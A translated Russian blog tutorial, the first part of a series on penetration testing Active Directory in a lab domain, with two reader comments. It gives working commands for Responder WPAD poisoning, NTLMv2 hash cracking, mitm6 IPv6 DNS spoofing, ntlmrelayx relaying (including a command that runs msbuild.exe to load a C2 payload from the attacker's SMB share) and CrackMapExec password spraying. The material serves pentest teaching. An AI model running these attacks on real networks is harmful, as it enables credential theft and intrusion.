Перевод статьи подготовлен специально для студентов курса «Пентест. Практика тестирования на проникновение».




У меня было несколько клиентов, пришедших ко мне перед пентестом с уверенностью в том, что они были в хорошей форме, потому что их анализ уязвимостей не показал критических уязвимостей, и что они готовы к пентесту, лишь за тем, чтобы я получил права администратора домена за пятнадцать минут, просто воспользовавшись ошибками в конфигурациях в AD.

Одним из пробелов в образовании, который я вижу в области тестирования на проникновение, является недостаток осведомленности, когда дело доходит до пентестинга Active Directory (AD). К сожалению, OSCP не учит пентестированию AD, и даже курс SANS GPEN едва касается этого. Цель этой серии — помочь продемонстрировать некоторые приемы, инструменты и методы, которые я использовал в прошлом для успешных пентестов с использованием AD. Это ни в коем случае не исчерпывающее пособие по каждому методу или инструменту. На протяжении всей этой серии я буду использовать Kali Linux 2019 и работать в своем фиктивном домене через виртуальные машины.

Давайте начнем с определения цели: цель теста на проникновение состоит в том, чтобы выявить любой возможный вектор атаки, который злоумышленник будет использовать для взлома сети. Дело не только в том, чтобы получить права администратора домена, а затем выйти.

Теперь, когда у нас есть цель, мы должны выполнить несколько шагов для ее достижения. Ниже (грубое) визуальное руководство по циклу пентестинга.


Автор: Microsoft

Синопсис: клиент нанял вас для проведения теста на проникновение в своей сети, в которой используется Active Directory. Вам не предоставили ничего. У вас нет ни учетных данных, ни границ тестирования, ни пропуска, чтобы войти в парадный вход, однако вам удается проникнуть за кем-то через дверь и найти уединенную комнату с IP-телефоном. Вы отключаете IP-телефон, подключаете ноутбук и обнаруживаете себя в сети. Что дальше? Внедрение.

Фаза I | Внедрение


Без учетных данных мы можем проводить лишь ограниченную разведку, и разведка будет происходить практически на каждом этапе цикла, однако есть несколько вещей, которые мы можем сделать сразу, чтобы закрепиться в сети. Во-первых, поскольку у нас есть доступ к сети, просто проверьте, в какой подсети мы работаем, через ifconfig или ipconfig. Получив IP-адрес, выполните команду ping в nmap, чтобы увидеть, доступны ли другие устройства.

nmap -sn 192.168.1.1/24

Если возвращаются устройства, значит, вы в деле. Если вы ничего не получаете, возможно, ICMP отключен, в сети нет других устройств или поскольку вы не прошли проверку подлинности, вы не можете обмениваться данными с другими устройствами и, возможно, заблокированы решением для обеспечения безопасности личности (например, Cisco ISE). Ради статьи, давайте предположим, что возвращается несколько машин и вы успешно можете пропинговать их.



Инструмент: Responder

Далее мы будем использовать инструмент под названием Responder, или, если вы неравнодушны к Windows, Inveigh. Эти два инструмента проверяют наличие очень распространенной ошибки в конфигурации AD, что приводит к возможности отравления WPAD и NBT-NS. По умолчанию Windows настроена на поиск файла автоматической настройки прокси (PAC) через автоматическое обнаружение веб-прокси (WPAD). Важно отметить, что WPAD — это не протокол, который выполняет поиск, а всего лишь набор процедур, позволяющих устройству найти файл PAC. Автоматическое обнаружение файла PAC полезно для организаций, поскольку устройство отправит широковещательную рассылку с запросом прокси-файла и получит его. Однако, естественно, он не аутентифицирует, кто отправляет файл прокси, позволяя злоумышленнику отправить поддельный ответ, который затем запрашивает учетные данные.

В Kali responder установлен по умолчанию.

responder -I eth0 --wpad

На моем компьютере с Windows 7 я открываю Internet Explorer и захожу в Google, который затем начинает поиск файла WPAD. В Responder я вижу, как поступил запрос, после чего Responder автоматически отвечает на запрос, в результате чего жертва отправляет свое имя пользователя и хешированный пароль (в формате NTLMv2).



С этим хешем мы можем сделать несколько вещей. Мы можем попытаться взломать его или ретранслировать, используя такой инструмент, как ntlmrelay.py. Я рассказывал о том, как транслировать ntlm-хэши в этой статье, поэтому я перейду к его взлому, так как обычно это именно то, что я делаю на практике.

Если честно, я редко взламываю пароли в Linux/Kali. Я использую графический процессор nvidia, который никогда не устанавливается корректно на Kali, плюс в Windows есть HashcatGUI, который делает процесс намного проще, и это то, что я буду использовать. Я беру полученный хеш, помещаю его в файл с именем «hash.txt» и запускаю несколько wordlists/rules на нем. Но в этом случае я просто запустил rockyou.txt, и он был взломан в течение секунды.


Мои настройки для HashcatGUI.


Взломанный пароль — «Пароль!»

Теперь, когда мы успешно взломали пароль, у нас есть учетные данные “Алиса: Пароль”!

Прежде чем продолжить, есть несколько других методов, которые я хотел бы показать на случай, если Responder не работает.



Инструмент: mitm6

Допустим, сеть клиента использует легитимный PAC файл, и ваш спуфинг не работает. Существует еще один метод, который использует IPv6 и DNS для передачи учетных данных целевому объекту. По умолчанию IPv6 включен и фактически предпочтительнее, чем IPv4. Это означает, что если у компьютера есть DNS-сервер IPv6, он предпочтет его IPv4. Также по умолчанию машины Windows ищут DNS-сервер IPv6 через запросы DHCPv6, что значит, если мы подделываем DNS-сервер IPv6, мы можем эффективно контролировать, как устройство будет запрашивать DNS. Подробнее об этом можно прочитать здесь.

Сначала скачайте mitm6.

git clone https://github.com/fox-it/mitm6.git
cd mitm6
pip install .

Затем запустите его на целевой сетевой рабочей группе. Поскольку ранее мы уже пинговали сеть, мы также получили имена NetBIOS, узнав, что целевым доменом является lab.local.

Вот как выглядели настройки IP цели до того, как я запустил mitm6


Обратите внимание на один DNS-сервер
Затем я запустил mitm6

mitm6 -d lab.local



И теперь цели DNS-сервер изменился


Обратите внимание на IPv6-адрес в качестве DNS-сервера.

Теперь настоящая уязвимость заключается в том, что Windows предпочитает IPv6, а не IPv4, то есть теперь я контролирую DNS.

Так что теперь мы используем тот факт, что мы контролируем DNS с помощью подмены ответов WPAD через ntlmrelayx.py. Я написал руководство о том, как установить его.

С запущенным mitm6 в одном окне, откройте другое и запустите ntlmrelayx.py

ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i

-wh: сервер, на котором размещен файл WPAD (IP-адрес атакующего)
-t: цель (вы не можете пересылать учетные данные на то же устройство, которое фабрикуете)
-i: открыть интерактивную оболочку




Отсюда вы можете установить соединение с вашей системой управления и контроля (C2) по вашему выбору. В этом случае я использую SILENTTRINITY, поэтому я использую команду -c для выполнения моей команды, которая в этом случае использует MSBuild для создания моего вредоносного пейлоада.

ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'



Но нет, msbuild.exe в этом случае не создает XML-файл, и я не получаю соединения с SILENTTRINITY, поскольку это было бы слишком просто. Вместо этого я смотрю на свой SMB-сервер и вижу ретранслируемый хеш



Который я, в свою очередь, взломаю.



И теперь у нас есть учетные данные сети без использования Responder.



Инструмент: CrackMapExec

CrackMapExec — это по сути швейцарский нож для пентестеров. От password spray атаки и передачи хеша, до выполнения команд, он должен быть в каждом наборе инструментов для пентестеров.

Если ничего не помогает, мы можем попытаться использовать password spray атаку. Есть причина, почему этот метод является последним, и это из-за блокировки пароля. Блокировка паролей не так распространена, как вы думаете, что позволяет злоумышленнику использовать атаку по словарю по именам пользователей. Получение имени пользователя — это первый шаг, который можно выполнить через OSINT и с помощью theHarvester. Если у нас нет имени пользователя из OSINT, мы также можем дать CrackMapExec (CME) список имен пользователей, но ради экономии времени давайте предположим, что у нас есть имя пользователя rsmith.

Если вы в Kali, CrackMapExec должен быть уже установлен, если вы используете более новую версию, но если нет, можно его установить

apt-get install crackmapexec

Так как в результате сканирования мы обнаружили устройство в сети, мы можем дать CME список паролей в паре с именем пользователя и попытаться войти в систему.

crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares

Через несколько секунд пароль найден.



Учетные данные найдены!

Это может выглядеть слишком CTF-ым, но сезон: год — чрезвычайно популярная комбинация паролей.

С этими полученными учетными данными у нас теперь есть учетная запись пользователя. Мы перейдем к повышению привилегий во второй части.

Комментарии (2)


  1. Victor_koly
    21.12.2019 12:33

    проникнуть за кем-то через дверь и найти уединенную комнату с IP-телефоном

    Наверное администраторам сети не хватило параноидальности в настройках этого:
    xgu.ru/wiki/Port_security
    Правда в некоторых случаях ограничиваются этим:
    ограничить количество MAC-адресов, которым разрешено передавать трафик через порт.


    Во-первых, поскольку у нас есть доступ к сети, просто проверьте, в какой подсети мы работаем, через ifconfig или ipconfig.

    Ага, во всех организациях используют DHCP? А если каждому лично выдается IP?


  1. perlestius
    23.12.2019 07:14

    Существует еще один метод, который использует IPv6 и DNS для передачи учетных данных целевому объекту.

    Теперь я понял, для чего на самом деле запрещаю IPv6 во внутренних сетях. :)